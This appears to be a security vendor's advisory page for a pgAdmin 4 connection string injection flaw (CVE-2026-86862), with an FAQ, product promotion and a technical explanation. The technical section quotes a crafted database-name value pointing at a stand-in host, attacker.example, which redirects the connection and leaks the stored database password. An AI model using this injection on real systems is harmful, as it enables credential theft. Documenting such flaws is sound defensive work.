Quick answers
- Is CVE-2026-86862 exploited in the wild?
- No. Junglewise Threat Intelligence has no report of CVE-2026-86862 being exploited in the wild.
- How severe is CVE-2026-86862?
- Medium severity, with a CVSS score of 6.5, published 17 September 2026.
- Which products and versions are affected?
- pgAdmin pgAdmin 4 from version 9.18 and earlier.
- Is there a fix for CVE-2026-86862?
- No fixed version is recorded yet. Check the vendor's advisory in the references below. If you run it, Junglewise drafts a mitigation that fits your setup and applies it once you approve, with senior security engineers behind it.
- How is CVE-2026-86862 attacked?
- It is attacked over the network.
- Am I affected by CVE-2026-86862?
- Check whether anything you run is named in the advisory. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.
Technical details
The vulnerability is a connection string injection flaw in pgAdmin's Restore and Maintenance tools. The client-supplied 'database' field is passed unsanitized as the --dbname argument to pg_restore and psql utilities. libpq's connection string expansion treats database names containing equals signs as full connection strings, allowing keywords like 'host=' to override pgAdmin's --host and --port arguments. An authenticated user with tools_restore or tools_maintenance permissions (granted by default to the User role) can supply a crafted database name such as 'host=attacker.example port=5432 dbname=x' to redirect the connection. Since pgAdmin exports the decrypted database password in the PGPASSWORD environment variable before executing these utilities, the credential is leaked to the attacker's server. The fix moves the database name to the PGDATABASE environment variable, which libpq treats as a literal value and does not expand.
Affected products
- pgAdmin pgAdmin 4 from version 9.18 and earlier
Timeline
- 2026-09-17: disclosed